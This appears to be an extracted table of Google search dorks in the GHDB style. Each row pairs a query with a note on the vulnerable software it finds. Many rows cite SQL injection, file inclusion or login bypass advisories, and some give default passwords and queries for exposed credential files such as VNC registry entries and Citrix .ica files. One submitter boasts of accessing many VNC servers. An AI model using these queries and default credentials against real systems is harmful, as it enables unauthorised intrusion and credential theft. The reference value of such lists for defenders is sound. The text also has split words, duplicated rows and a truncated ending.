inurl:"jscripts/tiny	inurl:"jscripts/tiny_mce/plugins/tiny	Author: DigiP Multiple Vulnerabilities:

_mce/plugins/tiny browser/" OR inurl:"jscripts/tiny _mce/plugins/tiny browser/" "index of"	browser/" OR inurl:"jscripts/tiny_mce/plugins/tiny browser/" "index of"	http://www.exploit-db.com/exploits/9296/
"TinyBB 2011 all rights reserved"	"TinyBB 2011 all rights reserved"	Submitter: Aodrulez SQL Injection: http://www.exploit-db.com/exploits/15961/
"inurl:cultbooking. php"	"inurl:cultbooking.php"	CultBooking Multiple Vulnerabilities: http://www.exploit-db.com/exploits/16028/
inurl:"/plugins/Ima geManager/manag er.php"	inurl:"/plugins/ImageManager/mana ger.php"	Author: PenetraDz Shell Upload Vuln: manager/media/editor/plugins/ImageM anager/manager.php
"Powered by: PHP Link Directory"	"Powered by: PHP Link Directory"	CSRF Vuln: http://www.exploit-db.com/exploits/16037/
inurl:"ab_fct.php?f ct="	inurl:"ab_fct.php?fct="	Multiple Vulnerabilities: http://www.exploit-db.com/exploits/16044
Photo Gallery powered by TinyWebGallery 1.8.3	Photo Gallery powered by TinyWebGallery 1.8.3	Multiple Vulnerabilities: Non-persistent XSS + Directory Traversal: http://www.exploit-db.com/exploits/16090
:inurl:mj_wwwusr	http://www.google.com/#sclient=ps y&hl=en&safe=off&site=&source= hp&q=:inurl%3Amj_wwwusr&aq= f&aqi=&aql=&oq=&pbx=1&fp=2d cb6979649afcb0	http://www.exploit-db.com/exploits/16103
allintext: /qcodo/_devtools/c odegen.php	allintext: /qcodo/_devtools/codegen.php	Information Disclosure: http://www.exploit-db.com/exploits/16116
"Powered By Dew-NewPHPLinks v.2.1b"	"Powered By Dew-NewPHPLinks v.2.1b"	SQL Injection: http://www.exploit-db.com/exploits/16122
"made visual by sightFACTORY"	"made visual by sightFACTORY"	Author : eXeSoul [#] http://server/accommodations.php?cont entid=[sqli] [#] http://server/chamber_business.php?mi d=[sqli] [#] http://server/work.php?mid=[sqli] [#] http://server/members.php?id=[SQLi]

"powered by zipbox media"	"powered by zipbox media"	Author:XaDaL http://site.com/album.php?id=[SQLi]
intext:db_pass inurl:settings.ini	intext:db_pass inurl:settings.ini	Submitter: Bastich mysql.nimbit.com dashboard settings
intext:"Powered by EZPub"	intext:"Powered by EZPub"	SQL Injection: http://www.exploit-db.com/exploits/16941
inurl:"sitegenius/topic.php"	inurl:"sitegenius/topic.php"	Submitter: dR.sqL SQL Injection: http://localhost/sitegenius/topic.php?id=[SQLi]
"POWERED BY LOG1 CMS"	"POWERED BY LOG1 CMS"	Multiple Vulnerabilities: http://www.exploit-db.com/exploits/16969/
intext:"Powered by VoiceCMS"	intext:"Powered by VoiceCMS"	Submitter: p0pc0rn SQL Injection: http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id] http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]
+intext:"AWSTATS DATA FILE" filetype:txt	+intext:"AWSTATS DATA FILE" filetype:txt	Shows data downloads containing statistics on the site.Made by AwstatsThe best dork for that system.By: 67pc
inurl:/xampp	inurl:/xampp	this dork looks for servers with xampp installed
"Powered by kryCMS"	"Powered by kryCMS"	kryCMS Version 3.0 SQL Injection. Author: tempe_mendoan
inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"	inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"	DIY-CMS blog mod SQL Injection. Author: snup
inurl:"*.php?*=*.php" intext:"Warning: include" - inurl:.html - site:"php.net" - site:"stackoverflow.com" - inurl:"*forums*"	inurl:"*.php?*=*.php" intext:"Warning: include" - inurl:.html -site:"php.net" - site:"stackoverflow.com" - inurl:"*forums*"	PHP Error Messages
"Powered by sendcard - an advanced PHP e-card program"	"Powered by sendcard - an advanced PHP e-card program"	SendCard 3.4.0 Unauthorized Administrative Access: http://www.exploit-db.com/exploits/2117

"This is a Free & Open Source mailing list manager"	"This is a Free & Open Source mailing list manager"	Open Newsletter
+intext:"AWSTATS DATA FILE" filetype:txt	+intext:"AWSTATS DATA FILE" filetype:txt	Shows data downloads containing statistics on the site.Made by AwstatsThe best dork for that system.By: 67pc
inurl:/xampp	inurl:/xampp	this dork looks for servers with xampp installed
"Powered by kryCMS"	"Powered by kryCMS"	kryCMS Version 3.0 SQL Injection. Author: tempe_mendoan
inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"	inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"	DIY-CMS blog mod SQL Injection. Author: snup
inurl:"*.php?*=*.php" intext:"Warning: include" -inurl:.html -site:"php.net" -site:"stackoverflow.com" -inurl:"*forums*"	inurl:"*.php?*=*.php" intext:"Warning: include" -inurl:.html -site:"php.net" -site:"stackoverflow.com" -inurl:"*forums*"	PHP Error Messages
site*.*.*/webalizer intitle:"Usage Statistics"	site*.*.*/webalizer intitle:"Usage Statistics"	Shows usage statistics of sites. Includes monthy reports on the IP addresses, user agents, and more, of the viewers of the sites, the most active first.
intext:"You may also donate through the Moneybookers account mb@dd-wrt"	intext:"You may also donate through the Moneybookers account mb@dd-wrt"	Still find alot of equipment running v24 sp1
inurl:/wp-content/w3tc/dbcache/	inurl:/wp-content/w3tc/dbcache/	- Jay Townsend
seyeon FlexWATCH cameras	intitle:flexwatch intext:"Home page ver"	seyeon provides various type of products and software to build up a remote video monitoring and surveillance system over the TCP/IP network. FlexWATCH Network video

		server series has built-in Web server based on TCP/IP technology. It also has an embedded RTOS.The admin pages are at http://[sitename]/admin/aindex.htm.
intitle:"Live View / - AXIS"	intitle:"Live View / - AXIS"	These AXIS cams seem to run their own http server (Boa/0.94.13). The setup button can be hidden. The devices ship with a default password pair (quoting from the FAQ): "By default, the username will be root and the password will be pass. If these are not the current values, performing a factory default on the unit will reset the password to pass."Some models found in this search:- AXIS 205 version 4.0x- AXIS 210 Network Camera version: 4.0x- AXIS 241S Video Server version: 4.0x- AXIS 241Q Video Server version 4.0x
Xerox Phaser 740 Color Printer	"Phaser 740 Color Printer" "printer named: "	This product is supported but no longer sold by Xerox in the United States. Replacement Product: Phaser 6250.Configuration pages are password protected.
Xerox Phaser 8200	"Phaser 8200" " Xerox" "refresh" " Email Alerts"	Brochure info: "The Phaser 8200 uses solid ink, an alternative technology to laser printing. Unlike typical laser printers, solid ink doesn't require throwaway cartridges to get ink in the printer." Using the Internet, your printer can send performance information to our computers. PhaserSMART, our diagnostic system, examines the information, diagnoses the issue, and immediately walks you through a proposed solution. Automatic alerts minimize printer management problems. Alerts notify you via email when it's time to replace supplies, or when service is required."Moderator note: you may not be able to connect to the links Google gives if the printers are turned off when not in use.
Xerox Phaser 840	"Phaser 840 Color Printer" "Current	This product is supported but no longer

Color Printer	Status" "printer named:"	sold by Xerox in the United States. Support and supplies for this product continue to be available online. Replacement Product: Phaser 8400This search finds the PhaserLinkTM Printer Management Software for the Phaser 840 Color Printer. It seems at least the "Print DEMO" page works without authentication.
(inurl:"ars/cgi-bin/arweb?O=0" | inurl:arweb.jsp) -site:remedy.com -site:mil	(inurl:"ars/cgi-bin/arweb?O=0" | inurl:arweb.jsp)	From the vendor site: "Remedys Action Request System is for automating Service Management business processes. More than 7,000 customers know that AR System is the way to automate key business processes. AR System includes tools for application-to-application integration, including support for Web Services that requires no additional programming."Login is often 'guest' with no password. Or no login is required. An attacker can search the database for sensitive info (passwords), and search profiles to obtain usernames, emails.
ext:cgi inurl:ubb6_test	ext:cgi inurl:ubb6_test.cgi	The UBB trial version contains files that are not safe to keep online after going live. The install files clearly state so:CAUTIONS Do not leave pathto.asp or ubb6_test.cgi on your server. Delete them from the server when you are done. Leaving them in place poses a security risk."This is the UBB6 Permissions & Paths Diagnostic Script.Example:UBB Version 6.1.0.3 Perl Version 5.006 Server Type Apache/1.3.27 (Unix) (Red-Hat/Linux) mod_fastcgi/2.2.10 mod_jk/1.2.0 mod_perl/1.24_01 PHP/4.2.2 FrontPage/5.0.2 mod_ssl/2.8.12 OpenSSL/0.9.6b check path: 1. check permission to write new files in this directory2. check for the 'required' files in both the CGI and this directory3. check my read/write permissions on all the variables files4. check my absolute

		paths in general settings if available version 2.1 2001 Infopop Corporation All Rights Reserved
Login ("Powered by Jetbox One CMS " | "Powered by Jetstream *")	Login ("Powered by Jetbox One CMS " | "Powered by Jetstream *")	Jetbox is a content management systems (CMS) that uses MySQL or equivalent databases. There is a vulnerability report at SF wich I think is overrated, but I will mention here:http://www.securityfocus.com/bid/10858/discussion/The file holding the password is called: "http://.../includes/general_settings.inc.php"It does come with default passwords and that is allways a security risk. The administration is available via /admin/Username: admin, Password: admin1 .
("Fiery WebTools" inurl:index2.html) | "WebTools enable * * observe, *, * * * flow * print jobs"	("Fiery WebTools" inurl:index2.html) | "WebTools enable * * observe, *, * * * flow * print jobs"	Fiery WebTools offers many of the same capabilities of the Command WorkStation, via a Java-enabled Web browser. All job control options such as job merging, edition and previews, as well as information on the status of the jobs are accessible through Fiery WebTools.
intext:SQLiteManager inurl:main.php	intext:SQLiteManager inurl:main.php	sQLiteManager is a tool Web multi-language of management of data bases SQLite. # Management of several data base (Creation, access or upload basic) # Management of the attached bases of donnes # Creation, modification and removal of tables and index. # Insertion, modification, suppression of recording in these tables
intitle:"Directory Listing, Index of /*/"	intitle:"Directory Listing, Index of /*/"	Vendor page:"Einfache HTTP-Server-Software fr privates Homepage-Hosting oder groe Uploads."small HTTP server software for private hompage hosting or big uploads.
intitle:"index.of *" admin news.asp configview.asp	intitle:"index.of *" admin news.asp configview.asp	With Compulive News you can enter the details of your news items onto a webform and upload images through your browser. It integrates seamlessly within your website.When you open

		your CNU5 zip there is a news folder created with three subfolders: htmlarea, images and admin. In the news folder is your database file news.mdb.For security purposes the manual recommends that you immediately rename this database to a name of your own choosing thereby making it harder for anyone to download your news database.The database contains the plain text password. PS: this search is based on the index.of method. There are other ways to find this software, but finding the news database becomes a lot more difficult for an attacker that way.
"Copyright 2002 Agustin Dondo Scripts"	"Copyright 2002 Agustin Dondo Scripts"	CoolPHP has multiple vulnerabilities:* Cross-Site Scripting vulnerability (index.php)* A Path Disclosure Vulnerability (index.php)* Local file include Vulnerability with Directory Traversal info: http://www.securityfocus.com/archive/1/378617
"IMail Server Web Messaging" intitle:login	"IMail Server Web Messaging" intitle:login	IMail Server from Ipswitch is a messaging solution with 60 million users worldwide. It contains the features and safeguards you need without the complexity of expensive solutions like Microsoft Exchange or groupware which challenges even the most experienced administrators.This is a login portal search. Security Focus shows a list of vulnerabilities about this software.
ext:nsf nsf -gov -mil	ext:nsf nsf -gov -mil	Domino is server technology which transforms Lotus Notes into an Internet applications server. Domino brings together the open networking environment of Internet standards and protocols with the powerful application development facilities of Notes, providing you with the ability to rapidly develop a broad range of business applications for the Internet

		and Intranet.This is a generic search for Lotus Domino files. It identifies Domino users. Search the GBDB for more variations on this theme.
inurl:statrep.nsf -gov	inurl:statrep.nsf -gov	Domino is server technology which transforms Lotus Notes into an Internet applications server. Domino brings together the open networking environment of Internet standards and protocols with the powerful application development facilities of Notes, providing you with the ability to rapidly develop a broad range of business applications for the Internet and Intranet. This search finds statistics pages generated by Domino. Information on these pages includes Operating System, Disk space, Usernames and full path disclosure.Example: * 1. Statistics Reports - 1. System * 1. Statistics Reports - 2. Mail & Database * 1. Statistics Reports - 3. Communications * 1. Statistics Reports - 4. Network * 1. Statistics Reports - 5. Clusters * 1. Statistics Reports - 6. Web Server & Retriever * 1. Statistics Reports - 7. Calendaring Scheduling * 2. Alarms * 3. Events * 4. Spreadsheet Export * 5. Graphs - 1. System Statistics * 5. Graphs - 2. System Loads * 5. Graphs - 3. System Resources * 6. Trouble Tickets - 1. Alarm * 6. Trouble Tickets - 2. Event * 7. Analysis Report * 8. File Statistics * 9. Single Copy Object Store Statistics
inurl:log.nsf -gov	inurl:log.nsf -gov	Domino is server technology which transforms Lotus Notes into an Internet applications server. Domino brings together the open networking environment of Internet standards and protocols with the powerful application development facilities of Notes, providing you with the ability to rapidly develop a broad range of

		business applications for the Internet and Intranet. This search finds Domino log files. These can be revealing, including information about dbconnect.nsf files, path information, etc.Example: * Database-Sizes * Database-Usage * Mail Routing Events * Miscellaneous Events * NNTP Events * Object Store Usage * Passthru Connections * Phone Calls-By Date * Phone Calls-By User * Replication Events * Sample Billing * Usage-By Date * Usage-By UserExample:2004/04/14 07:51:00 AM ATTEMPT TO ACCESS DATABASE mtstore.ntf by itisdom/ITIS/ITRI was denied
"BlackBoard 1.5.1-f | 2003-4 by Yves Goergen"	"BlackBoard 1.5.1-f | 2003-4 by Yves Goergen"	bugtraq id 11336objectclass Input Validation Errorcve CVE-MAP-NOMATCHremote Yeslocal Nopublished Oct 06, 2004updated Oct 06, 2004vulnerable BlackBoard Internet Newsboard System BlackBoard Internet Newsboard System 1.5.1BlackBoard Internet Newsboard System is reported prone to a remote file include vulnerability. This issue presents itself because the application fails to sanitize user-supplied data properly. This issue may allow an attacker to include malicious files containing arbitrary script code to be executed on a vulnerable computer.BlackBoard Internet Newsboard System version 1.5.1 is reported prone to this vulnerability. It is possible that prior versions are affected as well.
intext:("UBB.threads 6.2"|"UBB.threads 6.3") intext:"You * not logged *" -site:ubbcentral.com	intext:("UBB.threads 6.2"|"UBB.threads 6.3") intext:"You * not logged *" -site:ubbcentral.com	UBB.Threads 6.2.*-6.3.* one char bruteforce vulnerability:http://www.k-otik.com/exploits/20041116.r57ubb.pl.php

inurl:"ipp/pdisplay.htm"	inurl:"ipp/pdisplay.htm"	Providing a standout printing solution, Novell iPrint offers secure print services that extend across multiple networks and operating systemsbringing the power of the Net to your business environment. This search locates various online printers.
intext:"Storage Management Server for" intitle:"Server Administration"	intext:"Storage Management Server for" intitle:"Server Administration"	These pages can reveal information about the operating system and patch level, as well as providing a login portal for hackers to attack. "As part of the IBM TotalStorage Open Software Family, IBM Tivoli Storage (ADSM) Manager protects your organization's data from hardware failures and other errors by storing backup and archive copies of data on offline storage."
inurl:"sitescope.html" intitle:"sitescope" intext:"refresh" -demo	inurl:"sitescope.html" intitle:"sitescope" intext:"refresh" -demo	Mercury SiteScope designed to ensure the availability and performance of distributed IT infrastructures e.g., servers, operating systems, network devices, network services, applications, and components. Some pages may be IP restricted.
inurl:":631/printers" -php -demo	inurl:":631/printers" -php -demo	CUPS provides a portable printing layer for UNIX-based operating systems. It has been developed by Easy Software Products to promote a standard printing solution for all UNIX vendors and users. CUPS provides the System V and Berkeley command-line interfaces. CUPS uses the Internet Printing Protocol ("IPP") as the basis for managing print jobs and queues. The Line Printer Daemon ("LPD") Server Message Block ("SMB"), and AppSocket (a.k.a. JetDirect).
intitle:"MX Control Console" "If you can't remember"	intitle:"MX Control Console" "If you can't remember"	MX Logics customizable and easy-to-use MX Control ConsoleSM is a centralized email threat management policy platform that provides you with one interface for managing all corporate-wide email threats, protection and security. With the MX Control Console, you can easily

		configure and control your email protection and security based on your overall corporate email policies.
intitle:"Novell Web Services" intext:"Select a service and a language."	intitle:"Novell Web Services" intext:"Select a service and a language."	"Novell GroupWise is an enterprise collaboration system that provides secure e-mail, calendaring, scheduling, and instant messaging. GroupWise also includes task management, contact management, document management, and other productivity tools. GroupWise can be used on your desktop on Linux, Windows*, or Macintosh; in a Web browser anywhere you have an Internet connection; and even on wireless devices. Your GroupWise system can be set up on NetWare, Linux, Windows, or any combination of these operating systems."
intitle:Login intext:"RT is Copyright"	intitle:Login intext:"RT is Copyright"	RT is an enterprise-grade ticketing system which enables a group of people to intelligently and efficiently manage tasks, issues, and requests submitted by a community of users.Versions including 2.0.13 are vulnerable to injection, check outSecurityFocus BID 7509
inurl:"8003/Display?what="	inurl:"8003/Display?what="	Norton AntiVirus for GatewaysEasily administered from anywhere via an HTML interface, it scans compressed and encoded files at the SMTP gateway, including a nearly unlimited number of file extensions in ZIP, UUENCODE, and MIME formats. Administrators have flexible options for handling infected files, scheduling virus definition updates via LiveUpdate, and generating reports.
"Microsoft CRM : Unsupported Browser Version"	"Microsoft CRM : Unsupported Browser Version"	Microsoft CRM Login portal.MS says:Microsoft CRM integrates with Microsoft Office, Microsoft Business Solutions for Financial Management, and other business systems to give employees a complete view of customer information. The ease of

		integration with Microsoft Office is of particular valueenabling staff to access Microsoft CRM information from Microsoft Office Outlook and work online or offline with access to sales functionality.
+"HSTSNR" -"netop.com"	+"HSTSNR" -"netop.com"	This search reveals NetOp license files. From the netop website: "NetOp Remote Control is the most comprehensive, effective and security-conscious way to maintain your IT operations. Designed to fit into all environments, NetOp lets you access users running virtually any operating system, including Windows, Linux, Mac OS X and Solaris. Location isnt terribly important either. The program offers unrivalled connectivity, supporting all standard communication protocols. Finally, NetOp is also the ideal way to manage and administrate your servers. The system contains a sweeping range of remote management tools, all available on one easy-to-use console."
intext:"Please enter correct password for Administrator Access. Thank you" "Copyright 2003 SMC Networks, Inc. All rights reserved."	intext:"Please enter correct password for Administrator Access. Thank you" "Copyright 2003 SMC Networks, Inc. All rights reserved."	Finds SMC Routers.
intitle:endymion.sak.mail.login.page | inurl:sake.servlet	intitle:endymion.sak.mail.login.page | inurl:sake.servlet	sak Mail, servlet-based web email system, designed for scaling to large numbers of concurrent users. Intended for large universities or enterprise-level mail system
intitle:"SFXAdmin - sfx_global" | intitle:"SFXAdmin - sfx_local" | intitle:"SFXAdmin - sfx_test"	intitle:"SFXAdmin - sfx_global" | intitle:"SFXAdmin - sfx_local" | intitle:"SFXAdmin - sfx_test"	Just another logon page search, this one is for SFX, a link server from Ex Libris, delivers linking services in the scholarly information environment. SFX is also a component in the management of electronic resources in

		a library.
"Powered by DWMail" password intitle:dwmail	"Powered by DWMail" password intitle:dwmail	What is DWmail?: DWmail is an 'intelligent' Web based email application written in the scripting language, PHP. DWmail allows you and your visitors to access, manage and send email using any POP3 or IMAP4 compliant email account. Simply enter your email address and password to check your email.
intitle:"WorldClient" intext:"(2003|2004) Alt-N Technologies."	intitle:"WorldClient" intext:"(2003|2004) Alt-N Technologies."	MDaemon , Windows-based email server software, contains full mail server functionality and control with a strong emphasis on security to protect your email communication needs.
intitle:"PowerDownload" ("PowerDownload v3.0.2 " | "PowerDownload v3.0.3 ") -site:powerscripts.org	intitle:"PowerDownload" ("PowerDownload v3.0.2 " | "PowerDownload v3.0.3 ") -site:powerscripts.org	The PowerDownload program (version 3.0.2 and 3.0.3) contains a serious vulnerability. Vulnerability discovery: SoulBlack - Security Research (http://soulblack.com.ar)Date: 05/31/2005Severity: High. Remote Users Can Execute Arbitrary Code.Affected version: v3.0.2 & v3.0.3vendor: http://www.powerscripts.org/* Fix *Contact the Vendor* References *http://www.soulblack.com.ar/repo/papers/advisory/powerdownload_advisory.txt
intext:"Calendar Program Copyright 1999 Matt Kruse" "Add an event"	intext:"Calendar Program Copyright 1999 Matt Kruse" "Add an event"	This search finds all pages that allow you to add events in Mark Kruse's CalendarScript. This script seems to be VERY vulnerable to HTML injection techniques.
[WFClient] Password= filetype:ica	[WFClient] Password= filetype:ica	The WinFrame-Client infos needed by users to connect toCitrix Application Servers (e.g. Metaframe).Often linked/stored on Webservers and sometimes reachable from Internet.Password is 16-byte-Hash of unknown encryption (MSCHAPv2 ?).File Extension is "ica" the so called Citrix Independent Computing Architecture.These files may contain

		login information (Username, Password, Domain).
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button to co	intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button to co	[quote]Cisco CallManagerCallManager is a FREE web application/interface included with your VoIP telephone service. It allows you to change and update settings on your phone without having to contact the Telecommunications Help Desk.Voice over IP telephone users Logon to Cisco CallManager at: http://XXXXXX/ccmuser/logon.asp* User ID your UWYO Domain username* Password initial password is 12341234Please create your own unique password after your initial logon[/quote]There are several vulnerbilities for CallManager
"Copyright 2004 Digital Scribe v.1.4"	"Copyright 2004 Digital Scribe v.1.4"	Digital Scribe v1.4 Login Bypass / SQL injection / remote code executionsoftware site: http://www.digital-scribe.org/description: "Teachers have full control through a web-based interface. Designedfor easy installation and even easier use, the Digital Scribe has been used in thousands of schools. No teacher or IT Personnel needs to know any computer languages in order to install and use this intuitive system.rgodsite: http://rgod.altervista.orgemail: retrogod at aliceposta it
http://www.google.com/search?q=intitle:%22WEB//NEWS+Personal+Newsmanagement%22+intext:%22%C2%A9+2002-2004+by+Christian+Scheb+-+Stylemotion.de%22%2B%22	intitle:"WEB//NEWS Personal Newsmanagement" intext:" 2002-2004 by Christian Scheb - Stylemotion.de"+"Version 1.4 "+"Login"	WEB//NEWS 1.4 is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
intitle:"Admin	intitle:"Admin Login" "admin	Blogware Login Portal: "An exciting

Login" "admin login" "blogware"	login" "blogware"	and innovative tool for creating or enhancing your web presence. It is your key to easy publishing on the World Wide Web share pictures, video, links, documents, newsletters, opinions and more, with family, friends and colleagues. Now you can have a website without being a Webmaster. Its simple! There is no HTML to learn and no new software to download and install."
Powered by PHP-Fusion v6.00.109 2003-2005. -php-fusion.co.uk	Powered by PHP-Fusion v6.00.109 2003-2005. -php-fusion.co.uk	this is the dork: Powered by PHP-Fusion v6.00.109 2003-2005. -php-fusion.co.ukas it is, without quotes, for the version I tested, prone toSQL Injection / administrative credentials disclosurethis my advisory/poc exploit: http://rgod.altervista.org/phpfusion600109.html
"iCONECT 4.1 :: Login"	"iCONECT 4.1 :: Login"	This search finds the login page for iCONECTnxt, it enables firms to search, organize, and review electronic and document discovery information including email, native files, and images from anywhere in the world for easy collaboration with outside counsel, branch offices, and consultants. LAN and Web solutions available.
"powered by GuppY v4"|"Site cr avec GuppY v4"	"powered by GuppY v4"|"Site cr avec GuppY v4"	Guppy remote code execution / various arbitrary inclusion issuesadvisory & poc exploit:http://rgod.altervista.org/guppy459_xpl.html
"intitle:3300 Integrated Communications Platform" inurl:main.htm	"intitle:3300 Integrated Communications Platform" inurl:main.htm	logon portal to the mitel 330 integrated communications platform.[Mitel 3300 Integrated Communications Platform (ICP) provides enterprises with a highly scalable, feature-rich communications system designed to support businesses from 30-60,000 users. ...supporting networking standards such as Q.SIG, DPNSS, and MSDN .... enable their legacy PBX's,]

filetype:reg reg +intext:WINVNC3	filetype:reg reg +intext:WINVNC3	This can be used to get encoded vnc passwords which can otherwise be obtained by a local registry and decoded by cain & abel. The query find registry entries which can otherwise be found can locally in:\HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password or\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\PasswordIf you are a cain and abel user you'll and have used this feature before you will know how useful this query is. Other than decoded passwords you can also find other useful information on the VNC server and its security. I have successfully gained access to many VNC servers.
(intitle:"WordPress Setup Configuration File")|(inurl:"setup-config.php?step=")	(intitle:"WordPress Setup Configuration File")|(inurl:"setup-config.php?step=")	Alter setup configuration files.add ?step=1
intitle:"b2evo installer" intext:"Installer fr Version"	intitle:"b2evo installer" intext:"Installer fr Version"	this page lets you to know some interesting info on target machine, database name, username... it lets you to see phpinfo() and, if you know database password, lets you to inject arbitrary code in blogs/conf/_config.php, regardless of magic_quotes_gpc settings and launch commands wrote a simple dictionary attack tool fot this: http://retrogod.altervista.org/b2evo_16alpha_bf.html
("This Dragonfly installation was" | "Thanks for downloading Dragonfly") -inurl:demo -inurl:cpgnuke.com	("This Dragonfly installation was" | "Thanks for downloading Dragonfly") -inurl:demo -inurl:cpgnuke.com	exploit and short explaination: http://retrogod.altervista.org/dragonfly9.0.6.1_incl_xpl.html
intitle:("TrackerCam Live	intitle:("TrackerCam Live Video")|("TrackerCam Application	"TrackerCam is a software application that lets you put your webcam on the

Video")|("Tracker Cam Application Login")|("Trackercam Remote") - trackercam.com	Login")|("Trackercam Remote") - trackercam.com	web, use it for surveillance, and do things like access its video from a cell phone or upload its images to an FTP-server."
intitle:"Device Status Summary Page" -demo	intitle:"Device Status Summary Page" -demo	hxxp://www.netbotz.com/products/index.htmlNetwork/server/room security and enviromental alarm device.O yea, they have cameras on them, fun to watch IT people..... wooIncludes:Temperature (F)Humidity (%)Air Flow (ft/min)Audio Alarm:Door Switch:
intitle:"Net2Phone Init Page"	intitle:"Net2Phone Init Page"	Net2Phone CommCenter is software that allows you to make phone calls and send faxes to anywhere in the world.
This page was produced using SAM Broadcaster. Copyright Spacial Audio Solutions, LLC 1999 - 2004.	This page was produced using SAM Broadcaster. Copyright Spacial Audio Solutions, LLC 1999 - 2004.	samPHPweb (db.php commonpath) Remote File Inclusion Vulnerability - CVE: 2008-0143: http://www.exploit-db.com/exploits/4834
" ActiveKB v1.5 Copyright "	" ActiveKB v1.5 Copyright "	ActiveKB 1.5 Insecure Cookie Handling/Arbitrary Admin Access - CVE: 2008-2338: http://www.exploit-db.com/exploits/5616
intext:2003-2008 RC v3.1 Developed by: GA Soft	intext:2003-2008 RC v3.1 Developed by: GA Soft	Rapid Classified 3.1 (cldb.mdb) Database Disclosure Vulnerability - CVE: 2008-6388: http://www.exploit-db.com/exploits/7324
Powered by lineaCMS 2006 lineaPHP Group	Powered by lineaCMS 2006 lineaPHP Group	lineaCMS Cross Site Scripting Vulnerability: http://www.exploit-db.com/exploits/10736
powered by CMSbright websens	powered by CMSbright websens	CMSbright (id_rub_page) Remote SQL Injection Vulnerability - CVE: 2008-6991: http://www.exploit-db.com/exploits/6343
Powered by: Linkarity	Powered by: Linkarity	Linkarity (link.php) Remote SQL Injection Vulnerability - CVE: 2008-4353: http://www.exploit-db.com/exploits/6455
TRUC 0.11.0 ::	TRUC 0.11.0 :: 2006 by ASDIS :	RUC 0.11.0 (download.php) Remote

2006 by ASDIS :		File Disclosure Vulnerability - CVE: 2008-0814: http://www.exploit-db.com/exploits/5129
2005 Ocean12 Technologies. All rights reserved	2005 Ocean12 Technologies. All rights reserved	Ocean12 Membership Manager Pro Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/7245
" 2004 PHPKick.de Version 0.8"	" 2004 PHPKick.de Version 0.8"	PHPKick v0.8 statistics.php SQL Injection - CVE: 2010-3029: http://www.exploit-db.com/exploits/14578
" 2009 Azimut Technologie"	" 2009 Azimut Technologie"	Azimut Technologie Admin Login Bypass vulnerability: http://www.exploit-db.com/exploits/12695
Copyright 2007 BrowserCRM Ltd	Copyright 2007 BrowserCRM Ltd	BrowserCRM 5.002.00 (clients.php) Remote File Inclusion Vulnerability - CVE: 2008-2689: http://www.exploit-db.com/exploits/5757
"Powered by nzFotolog v0.4.1 2005-2006 Ricardo Amaral"	"Powered by nzFotolog v0.4.1 2005-2006 Ricardo Amaral"	nzFotolog 0.4.1 (action_file) Local File Inclusion Vulnerability - CVE: 2008-3405: http://www.exploit-db.com/exploits/6164
"Diseo Web Hernest Consulting S.L."	"Diseo Web Hernest Consulting S.L."	Administrador de Contenidos Admin Login Bypass vulnerability: http://www.exploit-db.com/exploits/12527
" 2008 DevWorx - devworx.somee.com"	" 2008 DevWorx - devworx.somee.com"	TermiSBloG V 1.0 SQL Injection(s) Vulnerability: http://www.exploit-db.com/exploits/11081
"Gnr par KDPics v1.18"	"Gnr par KDPics v1.18"	Gnr par KDPics v1.18 Remote Add Admin: http://www.exploit-db.com/exploits/11455
" Sabdrimer CMS"	" Sabdrimer CMS"	Sabdrimer PRO 2.2.4 (pluginpath) Remote File Include Vulnerability - CVE: 2006-3520: http://www.exploit-db.com/exploits/1996
Thyme 1. 2006 eXtrovert Software LLC. All rights reserved	Thyme 1. 2006 eXtrovert Software LLC. All rights reserved	Thyme 1.3 (export_to) Local File Inclusion Vulnerability - CVE: 2009-0535: http://www.exploit-db.com/exploits/8029
"Sitedesign by:	"Sitedesign by: Dieleman	Rave Creations/UHM (artists.asp) SQL

Dieleman www.dieleman.nl - Copyright 2010"	www.dieleman.nl - Copyright 2010"	Injection Vulnerability: http://www.exploit-db.com/exploits/12701
"Script ralis par BinGo PHP"	"Script ralis par BinGo PHP"	BinGo News 3.01 (bnrep) Remote File Include Vulnerability - CVE: 2006-4648: http://www.exploit-db.com/exploits/2312
2005-2006 Powered by eSyndiCat Directory Software	2005-2006 Powered by eSyndiCat Directory Software	eSyndiCat Directory Software Multiple SQL Injection Vulnerabilities - CVE: 2007-3811: http://www.exploit-db.com/exploits/4183
PHPGnalogie fonctionne sur un serveur PHP	PHPGnalogie fonctionne sur un serveur PHP	PHPGenealogy 2.0 (DataDirectory) RFI Vulnerability - CVE: 2009-3541: http://www.exploit-db.com/exploits/9155
Actionne par smartblog	Actionne par smartblog	Smartblog (index.php tid) Remote SQL Injection Vulnerability - CVE: 2008-2185: http://www.exploit-db.com/exploits/5535
1998 - 2010 Video Battle Script	1998 - 2010 Video Battle Script	PHP Video Battle SQL Injection Vulnerability - CVE: 2010-1701: http://www.exploit-db.com/exploits/12444
1998 - 2010 Video Battle Script	1998 - 2010 Video Battle Script	PHP Video Battle SQL Injection Vulnerability - CVE: 2010-1701: http://www.exploit-db.com/exploits/12444
Copyright 2007 by Horst-D. Krller CMS: php WCMS	Copyright 2007 by Horst-D. Krller CMS: php WCMS	php wcms XT 0.0.7 Multiple Remote File Inclusion Vulnerabilities - CVE: 2007-5185: http://www.exploit-db.com/exploits/4477
Powered by Gbook MX v4.1.0 2003 Magtrb Soft	Powered by Gbook MX v4.1.0 2003 Magtrb Soft	Gbook MX v4.1.0 Arabic Version File Inclusion Vulnerability: http://www.exploit-db.com/exploits/10986
Powered by SLAED CMS 2005-2008 SLAED. All rights reserved.	Powered by SLAED CMS 2005-2008 SLAED. All rights reserved.	Slaed CMS v4 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/11596
Powered by UCenter 1.5.0 2001 - 2008	Powered by UCenter 1.5.0 2001 - 2008 Comsenz Inc.	Ucenter Projekt 2.0 Insecure crossdomain (XSS) Vulnerability: http://www.exploit-

